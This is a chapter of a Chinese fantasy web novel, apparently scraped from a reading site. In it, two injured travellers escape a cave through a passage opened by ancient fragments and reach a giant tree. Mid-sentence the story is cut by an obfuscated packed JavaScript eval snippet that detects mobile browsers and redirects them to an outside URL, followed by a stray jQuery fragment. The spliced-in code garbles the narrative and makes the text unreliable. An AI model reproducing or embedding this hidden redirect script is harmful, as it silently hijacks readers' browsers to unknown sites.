默认冷灰
24号文字
方正启体

23. 千橡之影

作者:通信作者老太太本书字数:K更新时间:
    黑暗并非虚无。它裹挟着翻滚的眩晕、骨骼撞击岩石的钝痛、草木刮擦皮肤的刺痛,最后汇聚成后脑处一次沉重闷击带来的、炸裂般的剧痛。余茶感觉自己像一片被卷入漩涡的枯叶,在无光的深渊里沉浮、旋转,然后被狠狠拍在坚硬的河床上,意识碎成千万片,随着冰冷的地下水流散。


    不知过了多久,一些碎片开始挣扎着聚拢。余茶听到了持续不断的、空洞的水滴声,从极高的地方落下,敲击着下方的水洼或岩石,发出单调而清晰的回响。还有……微弱的、不规律的喘息声,就在很近的地方,带着极力压抑的痛苦。她尝试控制身体,但身体像散了架,每一处关节和肌肉都在无声地呐喊拒绝听令。后脑勺肿起一个鸡蛋大的包,一跳一跳地疼。但最尖锐的痛楚,依旧来自左腿——脚踝处已经麻木,可小腿肿胀传来的胀痛和皮肤紧绷欲裂的感觉,清晰得可怕。身下是冰冷、潮湿、布满细碎沙砾的岩石地面。


    她又试图睁开眼,眼皮却沉重如铁。尝试了几次,才勉强掀开一条缝。


    昏暗。并非绝对的黑暗。有极其微弱的、不知来源的幽绿色光晕,勉强勾勒出周围的轮廓。他们似乎在一个地下岩洞里,空间不大,头顶是高高的、滴着水的穹窿。空气冰冷,带着浓重的湿土和矿物质气味,还有一种……极淡的、清新的草木腐败气息,与之前硫磺和金属的味道截然不同。


    喘息声来自旁边。余茶艰难地转动脖颈,看到利诺斯靠坐在不远处一块较为平坦的岩石上。他脸色苍白如鬼,额头上有一道狰狞的擦伤,鲜血已经凝结。他的左腿以一种不自然的角度弯曲着,满是血污,不仅旧伤崩裂,还骨折了,很可能是在滚落时撞到了硬物。


    他闭着眼,胸膛剧烈起伏,但一只手依旧紧握着匕首,另一只手……死死按在腰间那个装着碎片的布囊上。即使在昏迷或半昏迷的边缘,他对这些“钥匙”的执念也未曾放松。


    余茶想说话,喉咙却干涩得像两片砂纸摩擦,只发出一点气音。她再次尝试移动手臂,剧痛传来,但还能动。她慢慢摸索着身边,指尖触到一小片湿滑的苔藓。她费力地揪下一小块,塞进嘴里。苔藓带着土腥味和一丝微弱的清凉,勉强润湿了一点喉咙。


    “水……”她终于挤出一个字,声音嘶哑难辨。


    利诺斯的眼皮动了动,缓缓睁开。淡琥珀色的眼睛在幽绿光晕下显得暗淡,但其中的警惕和清醒迅速回归。他看了一眼余茶,又看了看自己变形的腿,脸上没什么表情,只有嘴角因疼痛而微微抽搐。


    他沉默地解下腰间一个皮质的小水囊——竟然在如此剧烈的翻滚中还没丢失——拧开盖子,自己先喝了一小口,然后递给余茶。


    余茶接过,小口啜饮。冰冷的水滑过喉咙,带来些许生气。


    “我们……在哪儿?”她问,声音依旧沙哑。


    利诺斯没有立刻回答,他侧耳倾听了一会儿那持续的水滴声,又仔细观察了岩壁的纹理和倾斜方向。“从斜坡滚下来,掉进了地缝或地下河的支脉。深度不浅。上面……”他抬头看了看高处隐约的、被藤蔓和碎石半掩的缺口,“暂时安全。追兵不会轻易下来。但我们也上不去。”


    一个更精致的囚笼。余茶心底冰凉。两个重伤员,困在地下,没有食物,没有药物,甚至没有明确的方向。


    “你的腿……”她看向利诺斯扭曲的左腿。


    “断了。”利诺斯言简意赅,语气平静得可怕。他放下水囊,检查伤口。胫骨明显错位,皮开肉绽,但没有刺出皮肤。他咬紧牙关,额上青筋暴起,开始尝试用手法复位。没有夹板,没有止痛药,只有冰冷的岩石和绝望作为背景。


    余茶别开脸,不忍看那过程。她听到利诺斯压抑的闷哼和骨骼摩擦的轻微声响,身体也不由自主地绷紧。几分钟后,声音停止,只剩下更粗重的喘息。


    “暂时固定了。”利诺斯的声音带着脱力后的虚弱。他用匕首从自己衣服上割下布条,又砍下旁边几根看起来还算坚韧的、从岩缝中长出的细长石钟乳,做成简陋的夹板,将伤腿紧紧绑住。整个过程他做得一丝不苟,仿佛在修理一件出故障的乐器。


    处理完自己的伤,他才再次看向余茶:“你的腿?”


    “废了。”余茶回答得同样干脆,“脚踝可能碎了,小腿肿胀,感觉不到脚尖。”她没有哭诉,只是陈述事实。在这种地方,情绪是奢侈品,也是毒药。


    利诺斯点点头,没说什么安慰的话。他挪动身体,靠回岩壁,再次闭上眼睛,似乎在保存体力,也似乎在思考。


    岩洞里只剩下水滴声和两人压抑的呼吸。幽绿的光晕稳定地弥漫着,来源似乎是岩壁某些特殊的矿物。这光线虽然微弱,但至少让他们不至于完全陷入黑暗的恐慌。


    时间在痛苦和寂静中缓慢爬行。余茶感到饥饿和寒冷开始侵蚀本就虚弱的身体。她摸了摸怀里,空空如也。最后偷偷留下的硬饼早就在之前的奔逃中丢失。


    就在她以为他们会就这样无声无息地死在这个不知名的地穴里时,利诺斯忽然又睁开了眼睛。


    “你听。”他低声道。


    余茶凝神。除了水滴声,似乎……还有一种极其微弱的、沙沙的声响,像是什么东西在岩壁上缓慢爬行,又像是微风穿过极细的缝隙。这声音断断续续,来源不定。


    “是风声?”余茶猜测。


    “也许是……气流的通道。”利诺斯眼中亮起一丝微光,“有风,就可能通向外面,或者其他更大的空间。”他挣扎着,用未受伤的腿和手臂的力量,沿着岩壁一寸寸挪动,侧耳贴在冰冷的石面上仔细倾听。


    余茶也尝试感知。她发现,那沙沙声似乎在某些方向更清晰一些。她指向洞窟一侧较为黑暗的角落:“那边……好像声音大一点?”


    利诺斯挪过去,听了片刻,点头。“有缝隙。”他用匕首柄敲击岩壁,声音略显空洞。“后面是空的。但岩壁很厚。”


    希望如同黑暗中的萤火,微弱却真实。但如何穿过这厚厚的岩壁?他们没有工具,没有力气。


    利诺斯的目光落在了腰间装着碎片的布囊上,又看了看岩壁上那幽绿的光源矿物。他若有所思。


    “那些碎片……”余茶也想到了,“在礁石洞穴,它们能点亮地图,能激发能量护盾……能不能……对岩石起作用?”


    “不知道。”利诺斯坦白,“但可以试试。反正没有别的办法。”他将布囊解下,拿出四块碎片:石台钥匙、铜耙子、黑色吊坠、还有铜杯陶片。在幽绿的光线下,它们显得古朴而沉默。


    他尝试着将碎片靠近那面有缝隙的岩壁。起初毫无反应。他改变位置,调整角度,甚至用手按压碎片接触岩壁。


    依旧寂静。


    就在希望即将再次熄灭时,利诺斯无意中将黑色吊坠贴近岩壁上一处颜色略深、纹理似乎有些不同的区域,异变发生了!


    不是爆炸或强光。那黑色吊坠本身,忽然变得温热起来。紧接着,吊坠表面那些复杂的内刻纹路,开始流淌过极其微弱的、几乎看不见的暗金色光痕。与此同时,被吊坠贴住的岩壁那一小块区域,颜色开始加深、变软,仿佛被无形的力量侵蚀、溶解,岩石表面出现细微的龟裂,簌簌落下粉末。


    有效!但这效果极其缓慢,范围也很小。


    “它……在‘吃’石头?”余茶难以置信。


    “不是吃。”利诺斯紧盯着那缓慢变化的一小点,“是……改变?某种我们无法理解的作用。”他试着移动吊坠,发现效果只发生在紧密接触的极小区域。照这个速度,要弄开一个能让人通过的洞口,可能需要几天几夜,而他们连半天都可能撑不过去。


    而且,随着吊坠发挥作用,利诺斯的脸色肉眼可见地变得更差,额头渗出更多冷汗。“它在……吸取什么。”他喘息着说,“不是我的体力……是别的……感觉。”


    余茶想起浮雕上的警告——“心亦有所求”。难道使用这些碎片,本身就需要支付某种代价?生命力?精神?还是别的什么?


    “停下!”她下意识喊道,“你可能撑不到打开洞口!”


    利诺斯没有立刻停下,他眼中闪烁着赌徒般的狠厉:“停下就是等死!”


    但仅仅又过了十几息,他就身体一晃,几乎握不住吊坠,那暗金色的光痕也骤然黯淡下去。岩壁上的侵蚀停止了,只留下一个指甲盖大小、浅浅的凹坑。


    代价高昂,收效甚微。


    利诺斯瘫坐回去,剧烈喘息,眼神黯淡了许多。“不行……这样不行……”他喃喃道。


    希望的火苗再次摇曳欲熄。绝望如同洞窟里的寒气,丝丝缕缕渗入骨髓。


    就在两人相对无言、几乎要被冰冷的寂静吞噬时,余茶的目光无意中扫过岩洞另一侧,之前未曾仔细留意的地方。在那里,幽绿的光晕下,岩壁的底部似乎有一些非自然的线条。


    “那边……”她指着那个方向,“墙上好像有东西。”


    利诺斯强打精神,顺着她指的方向看去。他挪动过去,用匕首刮去岩壁底部的苔藓和沉积物。


    露出来的,是刻痕。


    不是米诺斯线形文字,也不是他们之前见过的任何符号。而是非常简单的图画:用尖锐石器刻出的、线条稚拙却清晰的图画。


    第一幅:一个简笔的小人,站在一棵异常高大的树下,树冠如云。


    第二幅:小人把一个中间点了一点的圆圈举向大树。


    第三幅:大树垂下一条藤蔓或根须,缠绕住发光物品。


    第四幅:大树旁边的岩壁打开了一道门。


    第五幅:小人走进门内。


    图画到此为止,没有后续。


    “这是……指引?”余茶看着这原始的连环画,“那个点了点的圆圈……是指碎片?这棵树……”


    “千橡之森。”利诺斯接口,眼中重新燃起光芒,“那棵‘异常高大的树’,很可能是森林里的地标,或者……就是‘木’节点的核心!”他指向第四幅画,“大树能打开岩壁的门……难道,碎片需要用到那棵特定的树上?”


    图画的信息简单直白,却指向了一条意想不到的路径。碎片不能直接作用于普通岩石,但或许,在特定的地点——那棵巨树,通过特定的方式——举向大树?就能借助树木本身的力量,打开通路。


    这听起来如同神话故事,但结合他们之前经历的一切——发光的海水、能量护盾、地脉共鸣——似乎又并非完全不可能。


    “可是……”余茶看着自己和利诺斯的腿,“我们怎么去千橡之森?怎么找到那棵树?”


    利诺斯沉默了。图画给了希望,现实却设置了几乎不可逾越的障碍。他们被困地下,重伤在身,外面还有追兵。


    时间一分一秒过去,饥饿、寒冷和伤痛正在加速消耗他们本就微弱的生命力。幽绿的光晕仿佛也变得冷漠起来。


    就在余茶意识又开始有些模糊的时候,那微弱的、沙沙的风声似乎变大了些。而且,风中似乎夹杂了一丝极其微弱的、植物的清新气息,还有……隐约的、像是很多树叶在风中摩挲的哗哗声?


    这声音不是来自岩壁缝隙后,而是似乎从他们头顶上方那个被藤蔓碎石掩埋的缺口外,远远地、飘飘渺渺地传来!


    利诺斯也听到了。他猛地抬起头,看向那个缺口,眼神锐利如鹰。


    “声音……是从上面传来的?森林的声音?”余茶难以置信。他们掉下来这么深,怎么可能听到地面的声音?除非……


    “除非,”利诺斯声音低沉,带着一丝难以置信的猜测,“我们掉下来的地方,离千橡之森非常近。而且,地下的构造,可能将声音传导了下来。”他再次看向那几幅图画,“大树……根须……打开岩壁……如果那棵树的根系,极其发达,甚至深入到了这片地下岩层呢?”


    这个猜想大胆却诱人。如果那棵作为“木”节点的巨树,其根系真的遍布地下,甚至能感知或呼应碎片的力量,那么他们或许不需要爬回地面,就能通过地下与巨树建立某种联系?图画上岩壁打开的门,未必是地上的门,也可能是地下的通道!


    但这依旧只是猜想。如何建立联系?


    利诺斯的目光,再


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226094|197565||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    次落在了碎片上,尤其是那枚刚刚表现出奇异侵蚀能力的黑色吊坠。


    “图画上,小人把圆圈‘举向’大树。”他缓缓说道,“我们现在在地下,无法‘举向’。但也许……‘共鸣’或‘接触’才是关键。碎片之间能共鸣,碎片与节点之间,应该也能。”


    他拿起黑色吊坠,又示意余茶将手放在其他三块碎片上。“集中精神,”他说,尽管他自己也不确定该怎么做,“想象那棵树,想象根须,想象……打开的门。”


    这听起来荒诞不经。但余茶没有嘲笑。在绝境中,任何可能性都值得尝试。她闭上眼睛,努力驱散疼痛和杂念,将注意力集中在掌心下冰冷的碎片上,脑海中试图勾勒一幅参天巨树的形象,想象它深扎大地的、盘根错节的根系……


    起初,什么感觉都没有。只有黑暗、疼痛和虚无的想象。


    当余茶几乎要放弃时,她感到掌心下的碎片,似乎微微温热了一点。不是错觉,那温度清晰可辨。紧接着,一种极其微弱、却清晰无比的震颤感,从碎片传导到她的手臂。那不是物理的震动,更像是一种能量的脉动,缓慢、深沉,带着某种古老而磅礴的韵律。


    与此同时,利诺斯手中的黑色吊坠,再次亮起了那微弱的暗金色光痕。这一次,光痕没有试图侵蚀岩壁,而是像呼吸般明灭,仿佛在与某种遥远的存在呼应。


    “有反应!”利诺斯低呼,声音带着压抑的激动。


    更惊人的是,他们头顶上方,那原本微弱的树叶摩挲声,似乎变清晰了。而且,脚下的大地深处,也传来了一种新的、沉闷的隆隆声,仿佛有什么巨大的东西在地下缓慢移动、伸展。


    是树根?还是地脉的又一次扰动?


    来不及细想,变化发生了!


    在他们面前那面刻有图画的岩壁底部,靠近地面的位置,原本坚硬的岩石表面,突然开始隆起、开裂。不是吊坠那种缓慢侵蚀,而是仿佛有什么力量从内部将岩石撑开。裂缝迅速扩大,碎石滚落,尘土飞扬。


    一个黑黝黑的、仅容一人匍匐通过的洞口,就这么在岩石与泥土的混合物中,生生被“挤”了出来!洞口边缘参差不齐,残留着新鲜的断根和潮湿的泥土气息。一股远比之前清晰的、带着浓郁生命力和腐朽落叶味道的气息,从洞内涌出。


    洞口后面,是深不见底的黑暗,但那股气息明确无误地告诉他们——通向森林,通向那棵巨树的方向。


    图画上的预言,以这种匪夷所思的方式应验了。


    利诺斯和余茶对视一眼,都从对方眼中看到了震惊、狂喜,以及更深重的警惕。这力量远超理解,这“帮助”也未必全然善意。


    但,这是唯一的生路。


    没有时间犹豫。利诺斯将碎片收好给了余茶,率先拖着断腿,艰难地向那刚刚出现的洞口爬去。余茶紧随其后,用胳膊肘和未受伤的腿,一点一点挪进那充斥着泥土和根须气味的黑暗通道。


    就在余茶的脚刚刚完全没入洞口时,他们身后,那被撑开的岩石和泥土,开始发出不堪重负的呻吟,缓缓向内闭合。仿佛那只无形的大手,在为他们打开通路后,又要悄然抹去痕迹!


    通道狭窄、曲折、陡峭向上,遍布湿滑的泥土、尖锐的碎石和盘虬的植物根须。他们如同两只在巨兽肠道中挣扎求生的虫子,凭着求生本能和那一丝微弱的、仿佛来自前方深处的牵引感,拼命向上攀爬。


    不知爬了多久,就在余茶觉得肺里的空气都要耗尽,手臂再也无法拉动身体时,前方利诺斯的身影忽然消失了。紧接着,她感到身体一空,从通道尽头跌了出去!


    没有摔在岩石上,而是落在了一层厚厚的、柔软而富有弹性的腐殖质上。清新的、带着雨后泥土和无数植物气息的空气猛地涌入鼻腔。眼前不再是幽绿或黑暗的光,而是从极高处滤下的、斑驳破碎的天光。


    她抬起头。


    然后,整个人僵住了。


    她置身于一片无法用语言形容的巨林之中。这里的每一棵树,都粗壮得超乎想象,需要十人、甚至数十人才能合抱。树皮粗糙如龙鳞,呈现深沉的青灰色或暗褐色。树冠高耸入云,在极高的地方交织成一片几乎密不透光的绿色穹顶,只有极少的光线能穿过层层叠叠的枝叶,化作一道道斜射的光柱,照亮林中弥漫的、如同实质的淡绿色雾气。


    寂静。一种沉重到让人心脏发紧的寂静。没有鸟鸣,没有兽吼,只有微风拂过无数叶片时发出的、仿佛来自远古的深沉叹息。


    而就在他们面前,不到二十步的地方,矗立着一棵无法形容其巨大的树。


    它是这片巨林毫无疑问的王者。树干之粗,仿佛一座小山。树皮不再是粗糙,而是布满了奇异的、如同天然符文般的凹凸纹理,隐隐流动着极其微弱的翡翠色光泽。它的根系如同一条条巨龙,拱出地面,又深深扎入泥土,蔓延向视野尽头。树冠更是遮天蔽日,投下的阴影覆盖了极大一片区域。


    在这棵巨树最低的一根粗壮横枝上,距离地面约三人高的地方,悬挂着一个由活着的藤蔓和发光苔藓自然编织而成的平台,平台上,隐约可见一个深色的、长条形的物体。


    利诺斯也挣扎着从腐殖层上坐起,仰望着这棵神迹般的巨树,眼中充满了前所未有的震撼。


    余茶的目光则死死锁定在那藤蔓平台上的物体。第五块碎片。毫无疑问。


    但与此同时,她感到怀中的四块碎片,正在不受控制地发烫、震动,仿佛在欢呼,在共鸣,在渴望着与树上那块碎片汇合。


    而脚下的大地,那仿佛沉睡的巨兽,似乎也在这强烈的共鸣中,发出了低沉而不安的呻吟。


    千橡之森的中心,“木”之节点,就在眼前。碎片触手可及。


    但余茶心中没有丝毫喜悦,只有冰冷的警兆。这棵巨树平静的表象下,那浩瀚如海的生命力深处,似乎也沉睡着某种东西,随着碎片的靠近,正在缓缓苏醒。


    浮雕的警告如同惊雷,再次在她脑中炸响:


    ‘心亦有所求’。


    这一次,“心”所求的,会是什么?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)